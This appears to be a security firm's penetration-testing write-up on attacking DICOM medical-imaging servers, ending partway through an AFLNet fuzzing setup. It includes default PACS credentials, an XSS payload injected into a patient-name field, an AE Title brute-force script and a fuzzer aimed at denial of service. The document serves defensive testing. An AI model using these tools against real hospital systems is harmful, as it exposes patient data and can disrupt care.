Exploring the DICOM protocol from both a technical and offensive perspective, detailing various attack vectors and their potential impact.

Introduction to the DICOM Protocol

The Digital Imaging and Communications in Medicine (DICOM) protocol is the de-facto standard for the exchange, storage, retrieval, and transmission of medical imaging information. It is widely adopted across healthcare systems for integrating medical imaging devices, such as scanners, servers, workstations, and printers, from multiple manufacturers. DICOM supports interoperability through a comprehensive set of rules and services, including data formatting, message exchange, and workflow management.

DICOM was first developed by the American College of Radiology (ACR) and the National Electrical Manufacturers Association (NEMA), and is now maintained and published by the Medical Imaging & Technology Alliance (MITA) as part of the NEMA standards suite. The protocol is formally specified in the DICOM Standard[1], which defines the data model, communication services, and conformance mechanisms that vendors and implementers must follow. An overview of DICOM’s key principles is also described in RFC 3240[2], which outlines how the protocol enables device interoperability and structured data exchange in medical environments.

DICOM handles tasks such as:

• Transmitting medical images and associated metadata between imaging modalities and archives
• Managing imaging workflows and procedure steps
• Ensuring compatibility between different manufacturers’ systems through standardized message formats and service classes

Typically, DICOM servers—often referred to as Picture Archiving and Communication Systems (PACS)—listen on a designated port (default: 104) and operate using a client-server model, where entities negotiate roles as Service Class Providers (SCPs) or Service Class Users (SCUs). By default, DICOM data is transmitted in plaintext, without encryption, which poses significant security concerns in real-world deployments. As noted in the DICOM Standard PS3.15 on Security and System Management Profiles[3], secure communication can be achieved using Transport Layer Security (TLS), with port 2762 typically used for encrypted connections.

However, the adoption of DICOM over TLS remains inconsistent. When improperly configured, DICOM communications may expose Protected Health Information (PHI) to interception or tampering. This makes DICOM networks a compelling target for attackers, especially in environments lacking proper segmentation or monitoring.

Each DICOM endpoint is identified by an Application Entity Title (AET), a case-sensitive identifier that specifies the source or destination of a message. While AETs contribute to access control logic by matching incoming requests against a list of known entities, they do not constitute a strong authentication method. Since they are often guessable or misconfigured, attackers can exploit them to impersonate trusted devices.

DICOM’s complexity and extensibility, while essential for medical use cases, can introduce security challenges if administrators are unaware of the protocol’s design and capabilities. Insecure deployments—such as open DICOM ports, absent TLS, or unrestricted AETs—can lead to unauthorized image retrieval, metadata exfiltration, or system compromise. In this post, we’ll explore how these vulnerabilities arise and how they can be exploited in penetration testing scenarios.

Threat and Impact

DICOM data includes patient details such as name, ID, date of birth, medical description, modality, images, procedure times, accession number, referring physician, and institution. The snippet below demonstrates the information found in a DCM file (DCM being the typical DICOM file extension).

└─$ dcmdump 0015.DCM --search PatientName --search PatientID --search Modality --search PatientSex --search ReferringPhysicianName --search PerformingPhysicianName
(0010,0010) PN [Rubo DEMO]                              #  10, 1 PatientName
(0010,0020) LO [10-55-87]                               #   8, 1 PatientID
(0008,0060) CS [RF]                                     #   2, 1 Modality
(0010,0040) CS [F]                                      #   2, 1 PatientSex
(0008,0090) PN [Dr.Simon]                               #   8, 1 ReferringPhysicianName
(0008,1050) PN [Dr.Sick]                                #   8, 1 PerformingPhysicianName

Exposing patient data poses serious risks:

• Privacy Breach: Sensitive medical information leakage violates privacy rights and erodes trust.
• Identity Theft: Fraudsters can misuse personal data for health insurance scams or financial fraud, compromising medical records and care.
• Healthcare Fraud: Fake prescriptions and fraudulent claims burden healthcare systems.
• Social Engineering: Leaked data facilitates scams that manipulate victims into disclosing more information or money.
• Legal Consequences: Institutions face fines and lawsuits for failing to protect patient data.
• False Procedures: Data misuse can cause record errors and harmful treatments.
• Medical Extortion: Sensitive data can be exploited for financial or emotional blackmail.

Safeguarding patient data is critical to ensure privacy, trust, and safety.

---

Communicating with DICOM Servers Using DCMTK

Before diving into the attack vectors, it’s important to understand how to communicate with DICOM servers for both legitimate and security testing use cases. For demonstration purposes, a test instance of the DCM4CHEE DICOM server was set up. Installation instructions can be found at https://dcm4che.atlassian.net/wiki/spaces/ee2/pages/2555918/Installation?focusedCommentId=229769217.

A sample of the web interface is shown below:

One of the most common toolkits for interacting with DICOM services is DCMTK[4]. Below are a few useful utilities from DCMTK.

echoscu

echoscu sends a DICOM C-ECHO request (similar to a “ping” in networking). It verifies connectivity and basic compatibility.

# Example usage of echoscu
$ echoscu -aet MYAET -aec SERVERAET 192.168.1.10 104

• -aet MYAET: Sets your local Application Entity Title.
• -aec SERVERAET: The remote server’s AET.
• 192.168.1.10 104: The DICOM server’s IP and port.

A sample successful response is shown below:

└─$ echoscu -aet IOA -aec DCM4CHEE 172.24.0.1 11112 -v
I: Requesting Association
I: Association Accepted (Max Send PDV: 16340)
I: Sending Echo Request (MsgID 1)
I: Received Echo Response (Success)
I: Releasing Association

findscu

findscu performs a C-FIND operation, querying the remote DICOM server for matching studies, series, or images based on query parameters.

# Example usage of findscu
$ findscu -v -aet CLIENT_AET -aec SERVERAET 192.168.1.10 104 -k 0008,0052="PATIENT" -k 0010,0010 -k 0010,0020 -S

• -S: Indicates a study-level query.
• -k: Provides the key (or attribute) to search, e.g., PATIENT.
• -aet: set my calling AE title (default: FINDSCU)
• -aec: set called AE title of peer (default: ANY-SCP)

As a result, all patient IDs and names are returned.

└─$ findscu -v -aet IOA -aec DCM4CHEE 172.24.0.1 11112 -k 0008,0052="PATIENT" -k 0010,0010 -k 0010,0020 -S
I: Requesting Association
I: Association Accepted (Max Send PDV: 16340)
I: Sending Find Request (MsgID 1)
I: Request Identifiers:
I:
I: # Dicom-Data-Set
I: # Used TransferSyntax: Little Endian Explicit
I: (0008,0052) CS [PATIENT]                                #   8, 1 QueryRetrieveLevel
I: (0010,0010) PN (no value available)                     #   0, 0 PatientName
I: (0010,0020) LO (no value available)                     #   0, 0 PatientID
I:
I: ---------------------------
I: Find Response: 1 (Pending)
I:
I: # Dicom-Data-Set
I: # Used TransferSyntax: Little Endian Implicit
I: (0008,0000) UL 34                                       #   4, 1 GenericGroupLength
I: (0008,0005) CS [ISO_IR 100]                             #  10, 1 SpecificCharacterSet
I: (0008,0052) CS [PATIENT ]                               #   8, 1 QueryRetrieveLevel
I: (0010,0000) UL 42                                       #   4, 1 GenericGroupLength
I: (0010,0010) PN [Jones^James ]                           #  12, 1 PatientName
I: (0010,0020) LO [Patient ID_001]                         #  14, 1 PatientID
I:
I: ---------------------------
I: Find Response: 2 (Pending)
I:
I: # Dicom-Data-Set
I: # Used TransferSyntax: Little Endian Implicit
I: (0008,0000) UL 34                                       #   4, 1 GenericGroupLength
I: (0008,0005) CS [ISO_IR 100]                             #  10, 1 SpecificCharacterSet
I: (0008,0052) CS [PATIENT ]                               #   8, 1 QueryRetrieveLevel
I: (0010,0000) UL 34                                       #   4, 1 GenericGroupLength
I: (0010,0010) PN [Rubo DEMO ]                             #  10, 1 PatientName
I: (0010,0020) LO [10-55-87]                               #   8, 1 PatientID
I:
I: Received Final Find Response (Success)
I: Releasing Association

dcmsend

dcmsend transmits local DICOM files to a remote DICOM server (C-STORE operation).

# Sending a single DICOM file to the server
$ dcmsend -v -aet MYAET -aec SERVERAET 172.24.0.1 11112 /path/to/dicom/file.dcm

# Sending multiple DICOM files to the server
$ dcmsend -v -aet MYAET -aec DCM4CHEE 172.24.0.1 11112 --scan-directories /path/to/dicom/

A successful message is shown below:

└─$ dcmsend -v -aec DCM4CHEE -to 60 172.24.0.1 11112 0015.DCM
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16340)
I: sending SOP instances ...
I: Converting transfer syntax: Little Endian Explicit -> Little Endian Implicit
I: Sending C-STORE Request (MsgID 1, RF)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations   : 1
I: Number of pres. contexts : 1
I: Number of SOP instances  : 1
I: - sent to the peer       : 1
I:   * with status SUCCESS  : 1

dcdump

dcdump displays the contents of a DICOM file. This is helpful for understanding the fields and tags inside a DICOM object.

# Viewing the inside of a DICOM file
$ dcdump /path/to/dicom/file.dcm

Sample output:

dcmodify

dcmodify edits the content of DICOM files by changing, adding, or removing specific tags.

# Modifying the PatientName field
$ dcmodify -i "PatientName=TEST^PATIENT" /path/to/dicom/file.dcm

• -i or --insert "[t]ag-path=[v]alue": insert (or overwrite) path at position t with value v
• -m or --modify "[t]ag-path=[v]alue": modify tag at position t to value v
• -e or --erase "[t]ag-path": erase tag/item at position t

---

Attack Scenarios

In the following sections, we’ll demonstrate various attacks and testing strategies against DICOM servers. They exploit issues we commonly encounter during our penetration tests and underscore the importance of proper security configurations.

1. Identifying Insecure Configurations

Often, administrators leave default configurations in place or set up DICOM services without robust access control. Attackers can leverage these misconfigurations to perform unauthorized operations, such as querying patient records or storing malicious DICOM objects.

Testing Approach:

1. Use findscu to query the DICOM server with various known or guessed AETs. The script provided here can be used to automatically go through a list of known AETs. The list below shows some commonly used AETs. These AET titles can vary depending on the vendor, installation, or configuration of the DICOM system. They are usually customizable during setup.

- PACS
  - Picture Archiving and Communication System
- ORTHANC
  - Open-source DICOM server
- DCM4CHEE
  - DICOM software suite for clinical workflows
- MEDPACS
  - Used in various PACS implementations
- IMAGESERVER
  - General purpose server title
- RADWORKS
  - Associated with radiology workflows
- CTSERVER
  - CT scanner DICOM server
- MRI_SERVER
  - MRI-specific DICOM server
- STORE_SCP
  - Storage Service Class Provider
- DICOMNODE
  - General use in testing or small-scale servers

• Inspect the results for any sensitive data returned.
• Attempt to store DICOM objects using the identified AET.

2. Look for exposed web interfaces on the network. In our example the DCM4CHEE web interface is hosted over plaintext HTTP on localhost port 8080 but the HTTPs service is available to the local network.

Pro Tip: Check for default credentials. A sample list is shown below.

DICOM Server / PACS	Default Username	Default Password	Reference
Orthanc	orthanc	orthanc	Quickstart guide for Windows
Dcm4Chee	admin	admin	DCM4CHEE 2.17.1 Installation Instructions
PACSOne Server	root	<empty>	PacsOne Server Installation Guide
OnePacs Gateway	admin	onepacsadmin	OnePacs Gateway User Interface
SonicDICOM PACS	admin	password	SonicDICOM PACS Login Guide
Medweb Secure DICOM Proxy	Admin	Admin	Medweb Secure DICOM Proxy WebserverProxy Webserver Proxy WebserverProxy Webserver
CharruaPACS	admin	admin	CharruaPACS User Manual

2. Checking for Unencrypted Services

DICOM traffic is often sent unencrypted over TCP port 104, exposing sensitive patient data in transit. Attackers can sniff or intercept this traffic to gather PHI.

Testing Approach:

• Use a packet sniffer (e.g. Wireshark) on the network where the DICOM server is deployed.
• Look for unencrypted data such as patient names, study descriptions, etc.

• Validate if the server supports TLS and if it’s configured properly.

Pro Tip: DICOM over TLS is possible but requires additional configuration. Check if any secure port (often 2762 or a custom port) is enabled.

3. Exploiting Unprotected Services

Some DICOM services may be left exposed without authentication. This can allow remote attackers to:

1. Upload malicious DICOM files (which could contain embedded scripts or executables)

Using dcmodify it is possible to include malicious payloads, such as the XSS payload below, in the various attributes of the DCM file. The dcmsend tool can then be used to store the object to the server.

└─$ dcmodify -m "PatientName=<script>alert();</script>" 0002.DCM

└─$ dcmsend -v -aec DCM4CHEE 172.24.0.1 11112 0002.DCM
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16340)
I: sending SOP instances ...
I: Sending C-STORE Request (MsgID 1, XA)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations   : 1
I: Number of pres. contexts : 1
I: Number of SOP instances  : 1
I: - sent to the peer       : 1
I:   * with status SUCCESS  : 1

The payload will then be consumed by the server and potentially be shown to an authenticated user. Depending on the input validation and output encoding in place, it can introduce vulnerabilities to other systems. In the DCM4CHEE case, the XSS payload was properly encoded before being returned to the user’s browser, preventing execution of the script.

2. Query or retrieve existing images without authorization.
In the following example the DVTk RIS Simulator was used in its default configuration. It was observed that despite the local and remote AET being set, data could still be retrieved without providing any AET.

Taking a closer look at the logs, it appears that a couple of errors were generated during the connection; however, it did not prevent data from being returned. This could be due to the default configuration of this emulator, but there was no obvious way to change this behavior through the settings. This is shown as an example of a server that is misconfigured and does not validate the AET properly.

Testing Approach:

• Use dcmsend to attempt to store a manipulated DICOM file to the server.
• Use findscu and getscu to retrieve images.
• Check logs and responses to confirm unauthorized or unauthenticated operations are possible.

4. Brute-Forcing AETs

DICOM servers rely on matching AETs to accept requests. These AETs may not be well-guarded or could be guessable. A brute-force attack aims to discover valid AETs that the server recognizes.

Using findscu for AET Verification

You can systematically try a list of potential AETs using findscu. The bash script below automates the process.

#!/usr/bin/env bash
#
# Usage: ./dicom_aet_bruteforce.sh <host> <port> <aet_file>
#
# Description:
#   Attempts to find a valid Called AE Title on a DICOM server by iterating
#   over a list of candidate AETs and using the 'findscu' command from DCMTK.
#
#   Exit codes from findscu are interpreted as:
#       0 = Success (found a valid AE Title, stop the script)
#       2 = Unrecognized AE Title (continue to next candidate)
#       otherwise = Other error (continue to next candidate)
#
# Requirements:
#   - DCMTK installed (to have the 'findscu' utility).
#   - Bash v4+ (for better script portability).
#

# --- 1) Check script arguments -----------------------------------------------
if [ $# -ne 3 ]; then
  echo "Usage: $0 <host> <port> <aet_file>"
  exit 1
fi

HOST="$1"
PORT="$2"
AET_FILE="$3"

# --- 2) Ensure findscu is installed ------------------------------------------
if ! command -v findscu >/dev/null 2>&1; then
  echo "[ERROR] 'findscu' not found. Please install DCMTK or verify your PATH."
  exit 1
fi

# --- 3) Validate the AET file -----------------------------------------------
if [ ! -f "$AET_FILE" ]; then
  echo "[ERROR] AET file '$AET_FILE' not found or is not a regular file."
  exit 1
fi

# --- 4) Brute-force loop over AET candidates ---------------------------------
while IFS= read -r AET; do

  # Skip empty lines
  [ -z "$AET" ] && continue

  echo "[INFO] Trying AET: '$AET'"

  # Run findscu with the desired parameters
  # -aet IOA  (Our local AE Title)
  # -aec "$AET" (Called AE Title)
  # -k 0008,0052="PATIENT"  (Query/Retrieve level = PATIENT)
  # -k 0010,0010 (Return Patient Name)
  # -k 0010,0020 (Return Patient ID)
  # -S (scan/print results in a more structured way)
  findscu -v \
    -aet IOA \
    -aec "$AET" \
    "$HOST" "$PORT" \
    -k 0008,0052="PATIENT" \
    -k 0010,0010 \
    -k 0010,0020 \
    -S >/dev/null 2>&1

  EXIT_CODE=$?

  # --- 5) Check the exit code ------------------------------------------------
  case $EXIT_CODE in
    0)
      # 0 means success
      echo "[SUCCESS] Found a valid Called AE Title: '$AET'"
      exit 0
      ;;
    2)
      # 2 typically means "Called AE Title Not Recognized"
      echo "[FAILED] AE Title not recognized: '$AET'"
      # Continue trying next AE Title
      ;;
    *)
      # Other exit codes - treat as unexpected error but keep going
      echo "[ERROR] findscu returned exit code: $EXIT_CODE"
      echo "[INFO] Continuing with next AET..."
      ;;
  esac

done < "$AET_FILE"

# If we reach here, no AE Title responded successfully
echo "[INFO] Brute-forcing completed. No valid AE Title found."
exit 1

Sample output:

└─$ ./dicom-brute-aet.sh 172.24.0.1 11112 aets.txt
[INFO] Trying AET: 'WRONGAET'
[FAILED] AE Title not recognized: 'WRONGAET'
[INFO] Trying AET: 'BADAET'
[FAILED] AE Title not recognized: 'BADAET'
[INFO] Trying AET: 'DCM4CHEE'
[SUCCESS] Found a valid Called AE Title: 'DCM4CHEE'

5. Fuzzing the Protocol

What is Fuzzing?

Fuzzing is an automated testing methodology where invalid, unexpected, or random inputs (payloads) are injected into a program to observe its behavior. Payloads can be:

• Mutation-Based: Derived from existing valid inputs by altering values, formats, or structures
• Generation-Based: Created from scratch based on a model or protocol specification

Fuzzing is typically categorized into:

• Black-Box Fuzzing:
  In this scenario, the source code of the target application is unavailable. The fuzzer interacts only with the executable, observing output or crashes to infer vulnerabilities.
• Grey-Box Fuzzing:
  When source code is available, the binary can be instrumented. This allows the fuzzer to monitor execution paths, functions, and memory usage. The feedback enables the fuzzer to steer test case generation, focusing on areas that exhibit unusual behavior or crashes.

By leveraging fuzzing, testers can identify memory corruption, unhandled exceptions, and other vulnerabilities that might compromise system security.

Fuzzing the DICOM protocol involves injecting malformed or unexpected data into the server to trigger crashes, hangs, or other unintended behaviors. Two tools we commonly use are Radamsa[5] and AFLNet[6].

---

Radamsa Fuzzing Example (Black-Box Fuzzing)

Radamsa is a simple yet powerful fuzzer that mutates existing test files and passes the mutations to the target. Below is a step-by-step manual approach to fuzz the PatientName attribute in a DICOM file:

1. Extract a sample DICOM file:

$ dcmdump /path/to/dicom/file.dcm > original_dump.txt

2. Identify the PatientName line:

$ dcmdump /path/to/dicom/file.dcm --search PatientName

3. Use radamsa to generate mutated strings for the PatientName:

$ echo "DOE^JOHN" | radamsa > mutated_name.txt

4. Use dcmodify to insert the mutated name into the original DICOM file:

$ dcmodify -m "PatientName=$(cat mutated_name.txt)" /path/to/dicom/file.dcm

5. Send the modified DICOM file to the server:

$ dcmsend -aet MYAET -call SERVERAET 192.168.1.10 104 /path/to/dicom/file.dcm

Below is an example Python script to automate this process. The script processes a DICOM file, extracts specific attributes, and allows the user to select which attributes to fuzz. For each selected attribute, the script generates a payload using Radamsa, modifies the DICOM file with the payload, and sends the modified file to the specified DICOM server using dcmsend. After sending each payload, the echoscu command is used to check if the server is still responding, so a potential DoS can be detected.

To run the script, use the following command:

$ python dicom_fuzzing_tool.py --dcm <path_to_dicom_file> --payloads <number_of_payloads> --aet <calling_AET> --ip <server_IP> --port <server_port> [-d]

Replace the placeholders with appropriate values:

• <path_to_dicom_file>: Path to the DICOM file to be processed
• <number_of_payloads>: Number of payloads to create for each target attribute
• <calling_AET>: AET for the client
• <server_IP>: IP address of the DICOM server
• <server_port>: Port number of the DICOM server
• -d: Enables debug mode for verbose output (optional)

import argparse
import os
import subprocess
import tempfile
import shutil

def run_command(command, debug):
    if debug:
        print(f"[DEBUG] Running command: {command}")
    try:
        result = subprocess.run(command, shell=True, check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if debug:
            print(f"[DEBUG] Command output: {result.stdout}")
        return result.stdout
    except subprocess.CalledProcessError as e:
        print(f"[!] Command failed: {command}")
        print(f"[!] Error: {e.stderr}")
        exit(1)

def run_command_raw(command, debug):
    if debug:
        print(f"[DEBUG] Running command: {command}")
    try:
        result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if debug:
            print(f"[DEBUG] Raw Command output: {result.stdout[:50]}... (truncated for debug)")
        return result.stdout
    except subprocess.CalledProcessError as e:
        print(f"[!] Command failed: {command}")
        print(f"[!] Error: {e.stderr}")
        exit(1)

def parse_dcmdump(dump_output):
    valid_attributes = {
        "StudyDate",
        "StudyTime",
        "Manufacturer",
        "InstitutionName",
        "InstitutionAddress",
        "ReferringPhysicianName",
        "StudyDescription",
        "PerformingPhysicianName",
        "PatientName",
        "PatientID",
        "PatientBirthDate",
        "PatientSex",
        "StudyID",
        "SeriesNumber",
        "InstanceNumber",
        "PatientOrientation",
    }

    attributes = {}
    try:
        for line in dump_output.splitlines():
            if line.startswith("(") and "#" in line:  # Ensure the line has a tag and description
                parts = line.split("#", 1)  # Split at the `#`
                tag_and_value = parts[0].strip()  # Left part: tag and value
                description = parts[1].strip()  # Right part: attribute name and value

                # Extract the tag and the value
                if "(" in tag_and_value and ")" in tag_and_value:
                    tag, raw_value = tag_and_value.split(")", 1)
                    tag = tag.strip() + ")"
                    value = raw_value.strip()
                    if "[" in value and "]" in value:  # Extract value from square brackets
                        value = value[value.index("[") + 1 : value.index("]")]
                    else:
                        value = "(no value available)"

                    # Extract the attribute name
                    name = description.split()[-1]  # The last word in the description
                    if name in valid_attributes:
                        attributes[name] = (tag, value)
    except Exception as e:
        print(f"[!] Error while parsing dcmdump output: {e}")
        exit(1)

    return attributes

def generate_payload(original_value, debug):
    print("[*] Generating a payload with radamsa...")
    try:
        command = f"echo {original_value} | radamsa"
        result = run_command_raw(command, debug)
        return result.strip()
    except Exception as e:
        print(f"[!] Error generating payload: {e}")
        exit(1)

def check_server_responsiveness(server_ip, server_port, aet, debug):
    try:
        command = f"echoscu -v {server_ip} {server_port} -aec {aet} -to 1"
        if debug:
            print(f"[DEBUG] Checking server responsiveness with: {command}")
        result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if debug:
            print(f"[DEBUG] echoscu output: {result.stdout}")
        
        # Check for success
        if result.returncode == 0:
            return True

        # Handle specific errors
        if "Peer aborted Association" in result.stderr or "Association Request Failed" in result.stderr:
            if debug:
                print(f"[DEBUG] Association error detected: {result.stderr}")
            return False  # Server is unresponsive, treat as a potential DoS

        # Treat other errors as unexpected
        print(f"[!] Unexpected error while checking server responsiveness: {result.stderr}")
        return False

    except Exception as e:
        print(f"[!] Error checking server responsiveness: {e}")
        exit(1)

def escape_payload(payload):
    if isinstance(payload, bytes):
        payload = payload.decode(errors="replace")
    # Replace null bytes and escape special characters
    payload = payload.replace("\x00", "\\x00")  # Encode null bytes
    # Escape problematic shell characters
    payload = payload.replace("\\", "\\\\")  # Escape backslashes first
    payload = payload.replace("`", "\\`").replace("\"", "\\\"").replace("$", "\\$").replace("'", "'\"'\"'").replace("(", "\\(").replace(")", "\\)")
    return payload

def modify_and_send(dcm_file, tag, original_value, num_payloads, aet, server_ip, server_port, debug):
    try:
        # Create a temporary copy of the original DICOM file
        temp_dcm_file = tempfile.NamedTemporaryFile(delete=False, suffix=".dcm").name
        shutil.copy(dcm_file, temp_dcm_file)

        payload_file_path = None
        for i in range(num_payloads):
            try:
                # Generate a single payload
                payload = generate_payload(original_value, debug)

                # Debugging output for payload
                if debug:
                    safe_payload = payload.decode(errors="replace") if isinstance(payload, bytes) else payload
                    print(f"[DEBUG] Payload for modification: {safe_payload}")

                # Escape the payload for the shell command
                escaped_payload = escape_payload(payload)

                # Save the payload to a file
                if not payload_file_path:
                    payload_file = tempfile.NamedTemporaryFile(delete=False, suffix=".txt", mode="w")
                    payload_file_path = payload_file.name
                    payload_file.write(escaped_payload + "\n")
                    payload_file.close()

                # Modify the DICOM file
                command = f"dcmodify -m \"{tag}={escaped_payload}\" {temp_dcm_file}"
                if debug:
                    print(f"[DEBUG] dcmodify command: {command}")
                run_command(command, debug)

                # Send the modified file
                send_command = f"dcmsend -v -aec {aet} {server_ip} {server_port} {temp_dcm_file} -to 1"
                result = subprocess.run(send_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

                if result.returncode != 0:
                    if i == 0:
                        print(f"[!] Connection could not be established during the first payload. Please check the server configuration or network.")
                        exit(1)
                    else:
                        print(f"[!] Potential DoS detected: dcmsend failed for payload {i}.")
                        print(f"[!] The payload causing the issue has been retained at: {payload_file_path}")
                        exit(1)

                print(f"[*] Sent modified file")

                # Check server responsiveness
                if not check_server_responsiveness(server_ip, server_port, aet, debug):
                    print(f"[!] Potential DoS detected. The server is no longer responsive after payload {i}.")
                    print(f"[!] The payload causing the issue has been retained at: {payload_file_path}")
                    exit(1)


            except Exception as e:
                print(f"[!] Error during modification or sending for payload {i}: {e}")
    except Exception as e:
        print(f"[!] Error in modify_and_send: {e}")
    finally:
        # Cleanup temporary file
        try:
            os.remove(temp_dcm_file)
        except Exception as e:
            print(f"[!] Error cleaning up temporary file: {e}")

def main():
    parser = argparse.ArgumentParser(description="DICOM Fuzzing Tool")
    parser.add_argument("--dcm", required=True, help="Path to the DICOM DCM file.")
    parser.add_argument("--payloads", type=int, required=True, help="Number of payloads to generate.")
    parser.add_argument("--aet", required=True, help="Calling AE Title for dcmsend.")
    parser.add_argument("--ip", required=True, help="Server IP for dcmsend.")
    parser.add_argument("--port", required=True, help="Server port for dcmsend.")
    parser.add_argument("-d", action="store_true", help="Enable debugging information.")

    args = parser.parse_args()

    debug = args.d

    try:
        # Step 1: Dump the DICOM file
        print("[*] Dumping DICOM file...")
        dump_output = run_command(f"dcmdump --search StudyDate --search StudyTime --search Manufacturer --search InstitutionName --search InstitutionAddress --search ReferringPhysicianName --search StudyDescription --search PerformingPhysicianName --search PatientName --search PatientID --search PatientBirthDate --search PatientSex --search StudyID --search SeriesNumber --search InstanceNumber --search PatientOrientation {args.dcm}", debug)

        # Step 2: Parse attributes
        attributes = parse_dcmdump(dump_output)
        if not attributes:
            print("[!] No attributes found in the DICOM file.")
            exit(1)

        print("[*] Attributes found:")
        for i, (name, (tag, value)) in enumerate(attributes.items(), 1):
            print(f"{i}. {name} (Tag: {tag}) Value: {value}")

        # Step 3: User selects attributes to fuzz
        selected_indices = input("Enter the numbers of the attributes to fuzz (comma-separated): ")
        selected_indices = [int(i.strip()) for i in selected_indices.split(",")]

        selected_attributes = [(list(attributes.items())[i - 1]) for i in selected_indices]

        for name, (tag, value) in selected_attributes:
            print(f"[*] Fuzzing attribute: {name} (Tag: {tag}) Value: {value}")

            # Step 4: Modify and send the DICOM file with generated payloads
            modify_and_send(args.dcm, tag, value, args.payloads, args.aet, args.ip, args.port, debug)

        print("[*] Fuzzing process completed.")
    except Exception as e:
        print(f"[!] An unexpected error occurred: {e}")

if __name__ == "__main__":
    main()

Sample output:

└─$ python3 dicom_fuzzing_tool.py --dcm 0002.DCM --payloads 30 --aet DCM4CHEE --ip 172.24.0.1 --port 11112
[*] Dumping DICOM file...
[*] Attributes found:
1. StudyDate (Tag: (0008,0020)) Value: 19941013
2. StudyTime (Tag: (0008,0030)) Value: 141917
3. Manufacturer (Tag: (0008,0070)) Value: (no value available)
4. InstitutionName (Tag: (0008,0080)) Value: (no value available)
5. InstitutionAddress (Tag: (0008,0081)) Value: (no value available)
6. ReferringPhysicianName (Tag: (0008,0090)) Value: (no value available)
7. StudyDescription (Tag: (0008,1030)) Value: (no value available)
8. PerformingPhysicianName (Tag: (0008,1050)) Value: (no value available)
9. PatientName (Tag: (0010,0010)) Value: Jameson
10. PatientID (Tag: (0010,0020)) Value: 10-56-00
11. PatientBirthDate (Tag: (0010,0030)) Value: 19951025
12. PatientSex (Tag: (0010,0040)) Value: M
13. StudyID (Tag: (0020,0010)) Value: 1
14. SeriesNumber (Tag: (0020,0011)) Value: 1
15. InstanceNumber (Tag: (0020,0013)) Value: (no value available)
16. PatientOrientation (Tag: (0020,0020)) Value: (no value available)
Enter the numbers of the attributes to fuzz (comma-separated): 9,10
[*] Fuzzing attribute: PatientName (Tag: (0010,0010)) Value: Jameson
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[*] Sent modified file
[*] Generating a payload with radamsa...
[!] Potential DoS detected: dcmsend failed for payload 10.
[!] The payload causing the issue has been retained at: /tmp/tmpdyzfby98.txt

---

AFLNET Fuzzing Example (Grey-Box Fuzzing)

The Fuzzers
American Fuzzy Lop[7] (AFL) is a widely used fuzzing tool that performs intelligent input mutation to discover vulnerabilities in programs. It utilizes instrumentation to monitor execution paths and prioritize test cases that reach new code paths, making it highly effective for uncovering security flaws. For instrumentation, the source code of the target application is required. AFL supports applications written in C and C++.

AFLNet[8] is an extension of AFL specifically designed for fuzzing network-based applications. It was created by V.T. Pham, M. Böhme, and A. Roychoudhury in 2020, and was first demonstrated in their work “AFLNet: A Greybox Fuzzer for Network Protocols.”[9]

Unlike AFL, which focuses on file-based fuzzing, AFLNet allows interaction with network protocols, making it suitable for fuzzing DICOM servers, such as ORTHANC, that we will use in our examples later on. AFLNet monitors network interactions and adapts test case generation based on protocol states, improving its effectiveness in testing complex network-based systems.

The Target
Orthanc[10] is a particularly good candidate for AFLNet fuzzing because it is an open-source, lightweight DICOM server that supports various network-based interactions, making it an ideal target for testing protocol implementations and identifying vulnerabilities in how it processes DICOM messages over TCP/IP. Orthanc is particularly popular and used by many, well known healthcare companies.

Since Orthanc’s source code is publicly available, it can be instrumented to provide execution feedback, allowing AFLNet to optimize fuzzing efficiency and discover deeper issues within the application’s logic.

The Fuzzing
Below, we outline the steps we used to configure our environment and instrument the target binary. For the test environment we used a Ubuntu Server (24.04.1) running on VMware Workstation 17.

1. Install dependencies and required tools for the fuzzing:

# Install dependencies
$ apt-get update
$ apt-get install build-essential unzip cmake mercurial patch \
                uuid-dev libcurl4-openssl-dev liblua5.3-dev \
                libgtest-dev libpng-dev libsqlite3-dev libssl-dev libjpeg-dev \
                zlib1g-dev libdcmtk-dev libboost-all-dev libwrap0-dev \
                libcharls-dev libjsoncpp-dev libpugixml-dev tzdata protobuf-compiler \
                screen net-tools clang graphviz-dev libcap-dev tcpdump dcmtk
#Clone the AFLNet repository
$ git clone https://github.com/aflnet/aflnet.git aflnet
#Compile it
$ cd aflnet
$ make

2. Instrument Orthanc

#Download the source code
$ wget https://orthanc.uclouvain.be/downloads/sources/orthanc/Orthanc-1.12.6.tar.gz
#Extract
$ tar -xvf Orthanc-1.12.6.tar.gz
$ cd Orthanc-1.12.6.tar.gz
$ mkdir Build
$ cd Build/
#Use the C and C++ compilers included in AFLNet to intrument Orthanc
$ cmake -DCMAKE_C_COMPILER=/home/ubuntu/aflnet/afl-gcc \
    -DCMAKE_CXX_COMPILER=/home/ubuntu/aflnet/afl-g++ \
    -DALLOW_DOWNLOADS=ON \
    -DUSE_GOOGLE_TEST_DEBIAN_PACKAGE=ON \
    -DUSE_SYSTEM_CIVETWEB=OFF \
    -DDCMTK_LIBRARIES=dcmjpls \
    -DCMAKE_BUILD_TYPE=Release \
    ../OrthancServer/
$ make clean all

Instrumentation will take some time and, with a bit of luck, should look like this.

The following changes will weaken the checks performed by the server so it accepts queries from SCU modalities it does not know about.

  "DicomAlwaysAllowFind" : true,

  "DicomAlwaysAllowFindWorklist" : true,

  "DicomAlwaysAllowGet" : true,

  "DicomAlwaysAllowMove" : true,

  "DicomEchoChecksFind" : true,

